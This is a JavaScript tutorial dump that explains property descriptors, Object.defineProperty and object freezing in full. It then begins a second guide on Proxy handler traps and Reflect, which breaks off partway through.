JS" sidebarTitle: "Property Descriptors: Hidden Property Flags" description: "Learn JavaScript property descriptors. Understand writable, enumerable, configurable flags, Object.defineProperty(), and how to create immutable properties." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Objects & Properties" "article:tag": "property descriptors, object.defineproperty, writable enumerable configurable, immutable properties, property flags" --- Why can you delete most object properties but not `Math.PI`? Why do some properties show up in `for...in` loops while others don't? And how do you create a property that can never be changed? ```javascript // You can't modify Math.PI Math.PI = 3 // Silently fails (or throws in strict mode) console.log(Math.PI) // 3.141592653589793 - unchanged! // You can't delete it either delete Math.PI // false console.log(Math.PI) // 3.141592653589793 - still there! ``` The answer is **property descriptors**. Every property in JavaScript has hidden attributes that control how it behaves. Understanding these unlocks powerful patterns for creating robust, secure objects. ```javascript // Check Math.PI's hidden attributes const descriptor = Object.getOwnPropertyDescriptor(Math, 'PI') console.log(descriptor) // { // value: 3.141592653589793, // writable: false, ← Can't change the value // enumerable: false, ← Won't show in for...in // configurable: false ← Can't delete or reconfigure // } ``` <Info> **What you'll learn in this guide:** - What property descriptors are and why they matter - The three property flags: `writable`, `enumerable`, `configurable` - How to use [`Object.defineProperty()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty) to create controlled properties - Data descriptors vs accessor descriptors (getters/setters) - How to inspect properties with [`Object.getOwnPropertyDescriptor()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor) - Object-level protections: `freeze`, `seal`, and `preventExtensions` - Real-world use cases for property descriptors </Info> <Warning> **Prerequisite:** This guide references [Strict Mode](/beyond/concepts/strict-mode) for error behavior. Property descriptor errors are silent in non-strict mode but throw in strict mode. </Warning> --- ## What are Property Descriptors? **Property descriptors** are metadata objects that describe the characteristics of an object property. Every property in JavaScript has a descriptor that controls whether the property can be changed, deleted, or enumerated. When you create a property the "normal" way (with assignment), JavaScript sets all flags to permissive defaults. As defined in the [ECMAScript specification](https://tc39.es/ecma262/#sec-property-attributes), every property has internal attributes that determine its behavior — this mechanism is what powers built-in immutable properties like `Math.PI`. ```javascript const user = { name: "Alice" } // Check the descriptor for 'name' console.log(Object.getOwnPropertyDescriptor(user, 'name')) // { // value: "Alice", // writable: true, ← Can change the value // enumerable: true, ← Shows in for...in // configurable: true ← Can delete or reconfigure // } ``` Think of property descriptors as the "permissions" for each property. Just like file permissions on your computer control who can read, write, or execute a file, property descriptors control what you can do with a property. --- ## The File Permissions Analogy If you've used a computer, you've encountered file permissions. Property descriptors work the same way for object properties. ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ PROPERTY DESCRIPTORS: FILE PERMISSIONS │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ FILE PERMISSIONS (Computer) PROPERTY DESCRIPTORS (JS) │ │ ──────────────────────────── ───────────────────────── │ │ │ │ ┌──────────────────────────┐ ┌──────────────────────────┐ │ │ │ Read [✓] │ │ enumerable [✓] │ │ │ │ Write [✓] │ → │ writable [✓] │ │ │ │ Delete [✓] │ │ configurable [✓] │ │ │ └──────────────────────────┘ └──────────────────────────┘ │ │ Normal file Normal property │ │ │ │ ┌──────────────────────────┐ ┌──────────────────────────┐ │ │ │ Read [✓] │ │ enumerable [✓] │ │ │ │ Write [✗] │ → │ writable [✗] │ │ │ │ Delete [✗] │ │ configurable [✗] │ │ │ └──────────────────────────┘ └──────────────────────────┘ │ │ Read-only file Constant property │ │ │ │ Just like you can protect files, you can protect object properties. │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` --- ## The Three Property Flags Every data property has three flags that control its behavior. Let's explore each one. ### `writable`: Can the Value Be Changed? When `writable` is `false`, the property becomes read-only. Assignment attempts silently fail in non-strict mode or throw a `TypeError` in [strict mode](/beyond/concepts/strict-mode). ```javascript "use strict" const config = {} Object.defineProperty(config, 'apiVersion', { value: 'v2', writable: false, // Read-only enumerable: true, configurable: true }) console.log(config.apiVersion) // "v2" config.apiVersion = 'v3' // TypeError: Cannot assign to read-only property ``` <Note> Without `"use strict"`, the assignment would silently fail. The value would remain `"v2"` with no error message. This is why strict mode is recommended. </Note> ### `enumerable`: Does It Show in Loops? When `enumerable` is `false`, the property is hidden from iteration methods like `for...in`, [`Object.keys()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/keys), and the [spread operator](/concepts/modern-js-syntax). ```javascript const user = { name: "Alice" } // Add a hidden metadata property Object.defineProperty(user, '_id', { value: 12345, writable: true, enumerable: false, // Hidden from iteration configurable: true }) // The property exists and works console.log(user._id) // 12345 // But it's invisible to iteration console.log(Object.keys(user)) // ["name"] - no _id! for (const key in user) { console.log(key) // Only logs "name" } // Spread also ignores it const copy = { ...user } console.log(copy) // { name: "Alice" } - no _id! ``` This is how JavaScript hides internal properties. For example, the `length` property of arrays is non-enumerable: ```javascript const arr = [1, 2, 3] console.log(arr.length) // 3 // But it doesn't show up in keys console.log(Object.keys(arr)) // ["0", "1", "2"] - no "length" ``` ### `configurable`: Can It Be Deleted or Reconfigured? When `configurable` is `false`, you cannot: - Delete the property - Change any flag (except `writable`: you can still change `true` → `false`) - Change between data and accessor descriptor types ```javascript "use strict" const settings = {} Object.defineProperty(settings, 'debug', { value: true, writable: true, enumerable: true, configurable: false // Locked configuration }) // Can still change the value (writable is true) settings.debug = false console.log(settings.debug) // false // But can't delete it delete settings.debug // TypeError: Cannot delete property 'debug' // Can't make it enumerable: false Object.defineProperty(settings, 'debug', { enumerable: false }) // TypeError: Cannot redefine property: debug ``` <Warning> **`configurable: false` is a one-way door.** Once you set it, you cannot undo it. Think carefully before making a property non-configurable. </Warning> --- ## Using `Object.defineProperty()` The [`Object.defineProperty()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty) method is how you create or modify properties with specific descriptors. ### Basic Syntax ```javascript Object.defineProperty(obj, propertyName, descriptor) ``` - `obj`: The object to modify - `propertyName`: A string or Symbol for the property name - `descriptor`: An object with the property settings ### Creating a New Property ```javascript const product = {} Object.defineProperty(product, 'price', { value: 99.99, writable: true, enumerable: true, configurable: true }) console.log(product.price) // 99.99 ``` ### Default Values Are Restrictive When using `Object.defineProperty()`, any flag you don't specify defaults to `false`. This is the opposite of normal assignment! ```javascript const obj = {} // Normal assignment - all flags default to TRUE obj.a = 1 console.log(Object.getOwnPropertyDescriptor(obj, 'a')) // { value: 1, writable: true, enumerable: true, configurable: true } // defineProperty - unspecified flags default to FALSE Object.defineProperty(obj, 'b', { value: 2 }) console.log(Object.getOwnPropertyDescriptor(obj, 'b')) // { value: 2, writable: false, enumerable: false, configurable: false } ``` <Tip> **Rule of thumb:** Always explicitly set all the flags you care about when using `Object.defineProperty()`. Don't rely on defaults. </Tip> ### Modifying Existing Properties You can use `defineProperty` to change flags on existing properties: ```javascript const user = { name: "Alice" } // Make name read-only Object.defineProperty(user, 'name', { writable: false }) // Now it can't be changed user.name = "Bob" // Silently fails (throws in strict mode) console.log(user.name) // "Alice" ``` --- ## Defining Multiple Properties at Once [`Object.defineProperties()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperties) lets you define multiple properties in one call: ```javascript const config = {} Object.defineProperties(config, { apiUrl: { value: 'https://api.example.com', writable: false, enumerable: true, configurable: false }, timeout: { value: 5000, writable: true, enumerable: true, configurable: true }, _internal: { value: 'secret', writable: false, enumerable: false, // Hidden configurable: false } }) console.log(Object.keys(config)) // ["apiUrl", "timeout"] - no _internal ``` --- ## Inspecting Property Descriptors ### Single Property: `Object.getOwnPropertyDescriptor()` ```javascript const user = { name: "Alice", age: 30 } const nameDescriptor = Object.getOwnPropertyDescriptor(user, 'name') console.log(nameDescriptor) // { // value: "Alice", // writable: true, // enumerable: true, // configurable: true // } ``` ### All Properties: `Object.getOwnPropertyDescriptors()` [`Object.getOwnPropertyDescriptors()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptors) returns descriptors for all own properties: ```javascript const user = { name: "Alice", age: 30 } console.log(Object.getOwnPropertyDescriptors(user)) // { // name: { value: "Alice", writable: true, enumerable: true, configurable: true }, // age: { value: 30, writable: true, enumerable: true, configurable: true } // } ``` ### Cloning Objects with Descriptors The spread operator and `Object.assign()` don't preserve property descriptors. As documented by MDN, `Object.getOwnPropertyDescriptors()` was added in ES2017 specifically to enable proper cloning of objects including their accessor properties and flags: ```javascript const original = {} Object.defineProperty(original, 'id', { value: 1, writable: false, enumerable: true, configurable: false }) // ❌ WRONG - spread loses the descriptor settings const badClone = { ...original } badClone.id = 999 // Works! Not read-only anymore console.log(badClone.id) // 999 // ✓ CORRECT - preserves all descriptors const goodClone = Object.defineProperties( {}, Object.getOwnPropertyDescriptors(original) ) goodClone.id = 999 // Silently fails (throws in strict mode) console.log(goodClone.id) // 1 - still protected! ``` --- ## Data Descriptors vs Accessor Descriptors There are two types of property descriptors: ### Data Descriptors A **data descriptor** has a `value` and optionally `writable`. This is what we've been using: ```javascript { value: "something", writable: true, enumerable: true, configurable: true } ``` ### Accessor Descriptors An **accessor descriptor** has `get` and/or `set` functions instead of `value` and `writable`. See [Getters & Setters](/beyond/concepts/getters-setters) for a deeper dive into accessor properties. ```javascript const user = { firstName: "Alice", lastName: "Smith" } Object.defineProperty(user, 'fullName', { get() { return `${this.firstName} ${this.lastName}` }, set(value) { const parts = value.split(' ') this.firstName = parts[0] this.lastName = parts[1] }, enumerable: true, configurable: true }) console.log(user.fullName) // "Alice Smith" user.fullName = "Bob Jones" console.log(user.firstName) // "Bob" console.log(user.lastName) // "Jones" ``` <Warning> **You can't mix both.** A descriptor with both `value` and `get` (or `writable` and `set`) throws a `TypeError`. It must be one type or the other. </Warning> ```javascript // ❌ This throws an error Object.defineProperty({}, 'broken', { value: 42, get() { return 42 } // TypeError: Invalid property descriptor }) ``` ### Getter-Only Properties If you only define a `get` without `set`, the property becomes read-only: ```javascript "use strict" const circle = { radius: 5 } Object.defineProperty(circle, 'area', { get() { return Math.PI * this.radius ** 2 }, enumerable: true, configurable: true }) console.log(circle.area) // 78.53981633974483 circle.area = 100 // TypeError: Cannot set property 'area' which has only a getter ``` --- ## Object-Level Protections Property descriptors control individual properties. JavaScript also provides methods to protect entire objects. ### `Object.preventExtensions()`: No New Properties ```javascript const user = { name: "Alice" } Object.preventExtensions(user) // Can still modify existing properties user.name = "Bob" console.log(user.name) // "Bob" // But can't add new ones user.age = 30 // Silently fails (throws in strict mode) console.log(user.age) // undefined // Check if extensible console.log(Object.isExtensible(user)) // false ``` ### `Object.seal()`: No Add/Delete, Can Still Modify [`Object.seal()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/seal) prevents adding or deleting properties by setting `configurable: false` on all existing properties. MDN notes that sealed objects are one of the most common patterns for creating configuration objects that should not have their structure modified at runtime: ```javascript const config = { debug: true, version: 1 } Object.seal(config) // Can modify values config.debug = false console.log(config.debug) // false // Can't add properties config.newProp = "test" // Silently fails console.log(config.newProp) // undefined // Can't delete properties delete config.version // Silently fails console.log(config.version) // 1 console.log(Object.isSealed(config)) // true ``` ### `Object.freeze()`: Complete Immutability [`Object.freeze()`](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze) makes an object completely immutable by setting `writable: false` and `configurable: false` on all properties: ```javascript const CONSTANTS = { PI: 3.14159, E: 2.71828, GOLDEN_RATIO: 1.61803 } Object.freeze(CONSTANTS) // Can't modify CONSTANTS.PI = 3 // Silently fails console.log(CONSTANTS.PI) // 3.14159 // Can't add CONSTANTS.NEW = 1 // Silently fails // Can't delete delete CONSTANTS.E // Silently fails console.log(Object.isFrozen(CONSTANTS)) // true ``` <Warning> **Freeze is shallow!** Nested objects are not frozen: ```javascript const user = { name: "Alice", address: { city: "NYC" } } Object.freeze(user) user.name = "Bob" // Fails - frozen user.address.city = "LA" // Works! Nested object isn't frozen console.log(user.address.city) // "LA" ``` For deep freeze, you need a recursive function or a library. </Warning> ### Comparison Table | Method | Add | Delete | Modify Values | Modify Descriptors | |--------|-----|--------|---------------|-------------------| | Normal object | ✅ | ✅ | ✅ | ✅ | | `preventExtensions()` | ❌ | ✅ | ✅ | ✅ | | `seal()` | ❌ | ❌ | ✅ | ❌ | | `freeze()` | ❌ | ❌ | ❌ | ❌ | --- ## Real-World Use Cases ### Creating Constants ```javascript const AppConfig = {} Object.defineProperties(AppConfig, { API_URL: { value: 'https://api.myapp.com', writable: false, enumerable: true, configurable: false }, MAX_RETRIES: { value: 3, writable: false, enumerable: true, configurable: false } }) // Works like constants console.log(AppConfig.API_URL) // "https://api.myapp.com" AppConfig.API_URL = "hacked" // Fails silently console.log(AppConfig.API_URL) // "https://api.myapp.com" - unchanged ``` ### Hidden Internal Properties This pattern is similar to how you might use [closures](/concepts/scope-and-closures) to hide data, but works directly on object properties: ```javascript function createUser(name, password) { const user = { name } // Store password hash as non-enumerable Object.defineProperty(user, '_passwordHash', { value: hashPassword(password), writable: false, enumerable: false, // Won't show up in JSON.stringify or Object.keys configurable: false }) return user } const user = createUser("Alice", "secret123") console.log(JSON.stringify(user)) // {"name":"Alice"} - no password! console.log(Object.keys(user)) // ["name"] - no _passwordHash! ``` ### Computed Properties That Look Like Regular Properties ```javascript const rectangle = { width: 10, height: 5 } Object.defineProperty(rectangle, 'area', { get() { return this.width * this.height }, enumerable: true, configurable: true }) console.log(rectangle.area) // 50 rectangle.width = 20 console.log(rectangle.area) // 100 - automatically updates! ``` ### Validation on Assignment This pattern is especially useful in [factory functions and classes](/concepts/factories-classes) where you want to enforce data integrity: ```javascript const person = { _age: 0 } Object.defineProperty(person, 'age', { get() { return this._age }, set(value) { if (typeof value !== 'number' || value < 0) { throw new TypeError('Age must be a positive number') } this._age = value }, enumerable: true, configurable: true }) person.age = 25 console.log(person.age) // 25 person.age = -5 // TypeError: Age must be a positive number person.age = "old" // TypeError: Age must be a positive number ``` --- ## Key Takeaways <Info> **The key things to remember:** 1. **Every property has a descriptor.** It controls whether the property is writable, enumerable, and configurable. 2. **Normal assignment sets all flags to `true`.** Properties created with `=` are fully permissive by default. 3. **`defineProperty` defaults flags to `false`.** Always explicitly set the flags you want when using this method. 4. **`writable: false` makes a property read-only.** Assignment silently fails in non-strict mode, throws in strict mode. 5. **`enumerable: false` hides the property.** It won't appear in `for...in`, `Object.keys()`, `JSON.stringify()`, or spread. 6. **`configurable: false` is permanent.** You can never undo it. The property can't be deleted or reconfigured. 7. **Data descriptors have `value` and `writable`.** Accessor descriptors have `get` and `set`. You can't mix them. 8. **`Object.freeze()` is shallow.** Nested objects remain unfrozen. Use recursion for deep freeze. 9. **Use `getOwnPropertyDescriptors()` for true cloning.** Spread and `Object.assign()` don't preserve descriptors. 10. **Property descriptors power JavaScript's built-ins.** This is how `Math.PI` and array `.length` have special behavior. </Info> --- ## Test Your Knowledge <AccordionGroup> <Accordion title="What's the difference between assigning a property normally vs using defineProperty?"> **Answer:** When you assign a property normally (with `=`), all descriptor flags default to `true`: ```javascript const obj = {} obj.name = "Alice" // { value: "Alice", writable: true, enumerable: true, configurable: true } ``` When you use `Object.defineProperty()`, unspecified flags default to `false`: ```javascript Object.defineProperty(obj, 'id', { value: 1 }) // { value: 1, writable: false, enumerable: false, configurable: false } ``` This means properties created with `defineProperty` are restrictive by default. </Accordion> <Accordion title="Why would you make a property non-enumerable?"> **Answer:** Non-enumerable properties are hidden from iteration. This is useful for: 1. **Internal/metadata properties** that shouldn't be serialized: ```javascript Object.defineProperty(user, '_internalId', { value: 'xyz123', enumerable: false }) JSON.stringify(user) // Won't include _internalId ``` 2. **Methods on objects** that shouldn't appear in `for...in` loops 3. **Matching built-in behavior** like `Array.prototype.length` </Accordion> <Accordion title="What happens if you try to mix value and get in a descriptor?"> **Answer:** You get a `TypeError`. A descriptor must be either a data descriptor (with `value` and optionally `writable`) or an accessor descriptor (with `get` and/or `set`). You cannot combine both: ```javascript Object.defineProperty({}, 'prop', { value: 42, get() { return 42 } }) // TypeError: Invalid property descriptor. Cannot both specify accessors // and a value or writable attribute ``` </Accordion> <Accordion title="How do you create a truly immutable constant in JavaScript?"> **Answer:** Use `Object.defineProperty()` with `writable: false` and `configurable: false`: ```javascript const CONFIG = {} Object.defineProperty(CONFIG, 'MAX_SIZE', { value: 1024, writable: false, // Can't change the value enumerable: true, // Visible in iteration configurable: false // Can't delete or reconfigure }) CONFIG.MAX_SIZE = 9999 // Silently fails delete CONFIG.MAX_SIZE // Returns false console.log(CONFIG.MAX_SIZE) // 1024 - unchanged ``` For an entire object, use `Object.freeze()`. But remember it's shallow. </Accordion> <Accordion title="Why doesn't Object.freeze() freeze nested objects?"> **Answer:** `Object.freeze()` only affects the direct properties of the object, not nested objects. This is called "shallow" freezing: ```javascript const data = { user: { name: "Alice" } } Object.freeze(data) data.user = {} // Fails - data is frozen data.user.name = "Bob" // Works! user object isn't frozen ``` For deep freezing, you need a recursive function: ```javascript function deepFreeze(obj) { Object.freeze(obj) for (const key of Object.keys(obj)) { if (typeof obj[key] === 'object' && obj[key] !== null) { deepFreeze(obj[key]) } } return obj } ``` </Accordion> <Accordion title="How do you clone an object while preserving its property descriptors?"> **Answer:** Use `Object.defineProperties()` with `Object.getOwnPropertyDescriptors()`: ```javascript const original = {} Object.defineProperty(original, 'id', { value: 1, writable: false, enumerable: true, configurable: false }) // ❌ Spread loses descriptors const badClone = { ...original } // ✓ This preserves descriptors const goodClone = Object.defineProperties( {}, Object.getOwnPropertyDescriptors(original) ) console.log(Object.getOwnPropertyDescriptor(goodClone, 'id')) // { value: 1, writable: false, enumerable: true, configurable: false } ``` </Accordion> </AccordionGroup> --- ## Frequently Asked Questions <AccordionGroup> <Accordion title="What are property descriptors in JavaScript?"> Property descriptors are metadata objects that control how a property behaves — whether it can be modified (`writable`), shown in loops (`enumerable`), or reconfigured (`configurable`). The ECMAScript specification defines these as internal attributes that every object property has, which is how built-in properties like `Math.PI` remain immutable. </Accordion> <Accordion title="What is the difference between Object.freeze() and Object.seal()?"> `Object.seal()` prevents adding or deleting properties but allows modifying existing values. `Object.freeze()` prevents all changes — no adding, deleting, or modifying. Both are shallow, meaning nested objects remain unaffected. According to MDN, `Object.freeze()` sets both `writable: false` and `configurable: false` on every property. </Accordion> <Accordion title="Can you undo configurable: false on a property?"> No. Setting `configurable: false` is permanent and irreversible. Once a property is non-configurable, you cannot delete it, change its enumerability, or switch it between data and accessor types. The only change still allowed is setting `writable` from `true` to `false` — never the reverse. </Accordion> <Accordion title="Why does Object.defineProperty() default flags to false?"> When using `Object.defineProperty()`, unspecified flags default to `false`, making properties restrictive by default. This is the opposite of normal assignment (where all flags default to `true`). MDN recommends always explicitly setting all flags you care about to avoid unexpected behavior from these defaults. </Accordion> <Accordion title="Do property descriptors affect JSON.stringify()?"> Yes. Non-enumerable properties are excluded from `JSON.stringify()` output, just as they are hidden from `Object.keys()` and `for...in` loops. However, `writable` and `configurable` flags have no effect on serialization. This is how JavaScript hides internal properties like `Array.prototype.length` from serialization. </Accordion> </AccordionGroup> --- ## Related Concepts <CardGroup cols={2}> <Card title="Getters & Setters" icon="arrows-rotate" href="/beyond/concepts/getters-setters"> Learn more about accessor properties and computed values. </Card> <Card title="Proxy & Reflect" icon="shield" href="/beyond/concepts/proxy-reflect"> More powerful object interception beyond property descriptors. </Card> <Card title="Object Methods" icon="cube" href="/beyond/concepts/object-methods"> Explore all the methods available on Object for inspection and manipulation. </Card> <Card title="Strict Mode" icon="lock" href="/beyond/concepts/strict-mode"> Why property descriptor errors are silent without strict mode. </Card> </CardGroup> --- ## Reference <CardGroup cols={2}> <Card title="Object.defineProperty() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty"> Complete reference for defining properties with descriptors. </Card> <Card title="Object.getOwnPropertyDescriptor() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/getOwnPropertyDescriptor"> How to inspect property descriptors. </Card> <Card title="Object.freeze() — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/freeze"> Making objects completely immutable. </Card> <Card title="Enumerability — MDN" icon="book" href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Guide/Enumerability_and_ownership_of_properties"> Deep dive into enumerable properties and ownership. </Card> </CardGroup> --- ## Articles <CardGroup cols={2}> <Card title="Property flags and descriptors" icon="newspaper" href="https://javascript.info/property-descriptors"> The essential javascript.info guide covering all property flags with clear examples. Includes exercises to test understanding. </Card> <Card title="Properties in JavaScript: Definition vs Assignment" icon="newspaper" href="https://2ality.com/2012/08/property-definition-assignment.html"> Dr. Axel Rauschmayer's deep technical analysis of how property definition differs from assignment. </Card> <Card title="JavaScript Object Property Descriptors Explained" icon="newspaper" href="https://blog.bitsrc.io/an-introduction-to-object-property-descriptors-in-javascript-3e7d7e4b13f6"> Bit.dev's visual guide with diagrams explaining each flag and when to use them. </Card> <Card title="JavaScript Object.defineProperty()" icon="newspaper" href="https://www.programiz.com/javascript/library/object/defineProperty"> Programiz tutorial covering defineProperty() syntax, parameters, and practical examples. </Card> </CardGroup> --- ## Videos <CardGroup cols={2}> <Card title="JavaScript Property Descriptors Explained" icon="video" href="https://www.youtube.com/watch?v=LD1tQEWsjz4"> Clear walkthrough of property descriptors with live coding examples. Good for understanding the basics. </Card> <Card title="Object.defineProperty() in JavaScript" icon="video" href="https://www.youtube.com/watch?v=2vHHZZdBDig"> Focused tutorial on defineProperty() covering all flags and real-world applications. </Card> <Card title="JavaScript Object Methods: freeze, seal, preventExtensions" icon="video" href="https://www.youtube.com/watch?v=KIQ-h4xYnKY"> Comprehensive comparison of object-level protection methods with practical examples. </Card> </CardGroup> ================================================ FILE: docs/beyond/concepts/proxy-reflect.mdx ================================================ --- title: "Proxy & Reflect in JavaScript" sidebarTitle: "Proxy & Reflect: Intercepting Object Operations" description: "Learn JavaScript Proxy and Reflect APIs. Intercept object operations, create reactive systems, and build powerful metaprogramming patterns." "og:type": "article" "article:author": "Leonardo Maldonado" "article:section": "Objects & Properties" "article:tag": "javascript proxy, reflect api, metaprogramming, handler traps, object interception, reactive systems" --- What if you could intercept every property access on an object? What if reading `user.name` could trigger a function, or setting `user.age = -5` could throw an error automatically? ```javascript const user = { name: 'Alice', age: 30 } const proxy = new Proxy(user, { get(target, prop) { console.log(`Reading ${prop}`) return target[prop] }, set(target, prop, value) { if (prop === 'age' && value < 0) { throw new Error('Age cannot be negative') } target[prop] = value return true } }) proxy.name // Logs: "Reading name", returns "Alice" proxy.age = -5 // Error: Age cannot be negative ``` This is the power of **[Proxy](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Proxy)** and **[Reflect](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Reflect)**. Proxies let you intercept and customize fundamental operations on objects, while Reflect provides the default behavior you can forward to. Together, they enable validation, logging, reactive data binding, and other metaprogramming patterns. According to the ECMAScript specification, Proxy traps map directly to [internal methods](https://tc39.es/ecma262/#sec-proxy-object-internal-methods-and-internal-slots) that define how all JavaScript objects behave at the engine level. <Info> **What you'll learn in this guide:** - What Proxy is and how it wraps objects to intercept operations - The 13 handler traps (get, set, has, deleteProperty, apply, construct, and more) - Why Reflect exists and how it complements Proxy - Practical patterns: validation, logging, reactive systems, access control - Revocable proxies for temporary access - Limitations and gotchas to avoid </Info> <Warning> **Prerequisites:** This guide builds on [Property Descriptors](/beyond/concepts/property-descriptors) and [Object Methods](/beyond/concepts/object-methods). Understanding how objects work at a lower level helps you see why Proxy is so powerful. </Warning> --- ## What is a Proxy? A **Proxy** is a wrapper around an object (called the "target") that intercepts operations like reading properties, writing properties, deleting properties, and more. You define custom behavior by providing a "handler" object with "trap" methods. Think of a Proxy as a security guard standing between you and an object. Every time you try to do something with the object, the guard can inspect, modify, or block the operation. ```javascript const target = { message: 'hello' } const handler = { get(target, prop) { return prop in target ? target[prop] : 'Property not found' } } const proxy = new Proxy(target, handler) console.log(proxy.message) // "hello" console.log(proxy.missing) // "Property not found" ``` Without a handler, a Proxy acts as a transparent pass-through: ```javascript const target = { x: 10 } const proxy = new Proxy(target, {}) // Empty handler proxy.y = 20 console.log(target.y) // 20 - operation forwarded to target ``` --- ## The Security Guard Analogy ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ PROXY: THE SECURITY GUARD │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ YOUR CODE PROXY TARGET OBJECT │ │ ───────── ───── ───────────── │ │ │ │ ┌────────┐ ┌──────────┐ ┌──────────┐ │ │ │ │ obj.name │ GUARD │ target.name │ { name: │ │ │ │ You │ ──────────► │ │ ─────────────► │ 'Bob' │ │ │ │ │ │ • Check │ │ } │ │ │ │ │ ◄────────── │ • Log │ ◄───────────── │ │ │ │ │ │ "Bob" │ • Modify│ "Bob" │ │ │ │ └────────┘ └──────────┘ └──────────┘ │ │ │ │ The guard can: │ │ • Let the operation through unchanged │ │ • Modify the result before returning it │ │ • Block the operation entirely (throw an error) │ │ • Log the operation for debugging │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` --- ## The 13 Proxy Traps A Proxy can intercept 13 different operations. Each trap corresponds to an internal JavaScript operation: | Trap | Intercepts | Example Operation | |------|-----------|-------------------| | `get` | Reading a property | `obj.prop`, `obj['prop']` | | `set` | Writing a property | `obj.prop = value` | | `has` | The `in` operator | `'prop' in obj` | | `deleteProperty` | The `delete` operator | `delete obj.prop` | | `apply` | Function calls | `func()`, `func.call()` | | `construct` | The `new` operator | `new Constructor()` | | `getPrototypeOf` | Getting prototype | `Object.getPrototypeOf(obj)` | | `setPrototypeOf` | Setting prototype | `Object.setPrototypeOf(obj, proto)` | | `isExtensible` | Checking extensibility | `Object.isExtensible(obj)` | | `preventExtensions` | Preventing extensions | `Object.preventExtensions(obj)` | | `getOwnPropertyDescriptor` | Getting descriptor | `Object.getOwnPropertyDescriptor(obj, prop)` | | `defineProperty` | Defining property | `Object.defineProperty(obj, prop, desc)` | | `ownKeys` | Listing own keys | `Object.keys(obj)`, `for...in` | Let's explore the most commonly used traps in detail. --- ## The `get` Trap: Intercepting Property Access The `get` trap fires whenever you read a property: ```javascript const handler = { get(target, prop, receiver) { console.log(`Accessing: ${prop}`) return target[prop] } } const user = new Proxy({ name: 'Alice' }, handler) console.log(user.name) // Logs: "Accessing: name", returns "Alice" ``` **Parameters:** - `target` - The original object - `prop` - The property name (string or Symbol) - `receiver` - The proxy itself (or an object inheriting from it) ### Default Values Pattern Return a default value for missing properties: ```javascript const defaults = new Proxy({}, { get(target, prop) { return prop in target ? target[prop] : 0 } }) defaults.x = 10 console.log(defaults.x) // 10 console.log(defaults.missing) // 0 (not undefined!) ``` ### Negative Array Indices Access array elements from the end with negative indices: ```javascript function createNegativeArray(arr) { return new Proxy(arr, { get(target, prop, receiver) { const index = Number(prop) if (index < 0) { return target[target.length + index] } return Reflect.get(target, prop, receiver) } }) } const arr = createNegativeArray([1, 2, 3, 4, 5]) console.log(arr[-1]) // 5 (last element) console.log(arr[-2]) // 4 (second to last) ``` --- ## The `set` Trap: Intercepting Property Assignment The `set` trap fires when you assign a value to a property: ```javascript const handler = { set(target, prop, value, receiver) { console.log(`Setting ${prop} to ${value}`) target[prop] = value return true // Must return true for success } } const obj = new Proxy({}, handler) obj.x = 10 // Logs: "Setting x to 10" ``` <Warning> The `set` trap **must return `true`** for successful writes. Returning `false` (or nothing) causes a `TypeError` in strict mode. </Warning> ### Validation Pattern Validate data before allowing assignment: ```javascript const validator = { set(target, prop, value) { if (prop === 'age') { if (typeof value !== 'number') { throw new TypeError('Age must be a number') } if (value < 0 || value > 150) { throw new RangeError('Age must be between 0 and 150') } } target[prop] = value return true } } const person = new Proxy({}, validator) person.name = 'Alice' // Works fine person.age = 30 // Works fine person.age = -5 // RangeError: Age must be between 0 and 150 person.age = 'thirty' // TypeError: Age must be a number ``` --- ## The `has` Trap: Intercepting `in` Operator The `has` trap intercepts the `in` operator: ```javascript const range = new Proxy({ start: 1, end: 10 }, { has(target, prop) { const num = Number(prop) return num >= target.start && num <= target.end } }) console.log(5 in range) // true console.log(15 in range) // false console.log(1 in range) // true ``` --- ## The `deleteProperty` Trap Intercept property deletion: ```javascript const protected = new Proxy({ id: 1, name: 'Alice' }, { deleteProperty(target, prop) { if (prop === 'id') { throw new Error('Cannot delete id property') } delete target[prop] return true } }) delete protected.name // Works delete protected.id // Error: Cannot delete id property ``` --- ## The `apply` and `construct` Traps For function proxies, you can intercept calls and `new` invocations: ```javascript function sum(a, b) { return a + b } const loggedSum = new Proxy(sum, { apply(target, thisArg, args) { console.log(`Called with: ${args}`) return target.apply(thisArg, args) } }) loggedSum(1, 2) // Logs: "Called with: 1,2", returns 3 ``` The `construct` trap intercepts `new`: ```javascript class User { constructor(name) { this.name = name } } const TrackedUser = new Proxy(User, { construct(target, args) { console.log(`Creating user: ${args[0]}`) return new target(...args) } }) const user = new TrackedUser('Alice') // Logs: "Creating user: Alice" ``` --- ## The `ownKeys` Trap: Filtering Properties The `ownKeys` trap intercepts operations that list object keys: ```javascript const user = { name: 'Alice', age: 30, _password: 'secret123' } const safeUser = new Proxy(user, { ownKeys(target) { return Object.keys(target).filter(key => !key.startsWith('_')) } }) console.log(Object.keys(safeUser)) // ["name", "age"] - _password hidden ``` --- ## Why Reflect Exists **[Reflect](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Reflect)** is a built-in object with methods that mirror every Proxy trap. It provides the default behavior you'd otherwise have to implement manually. MDN documents that Reflect was introduced 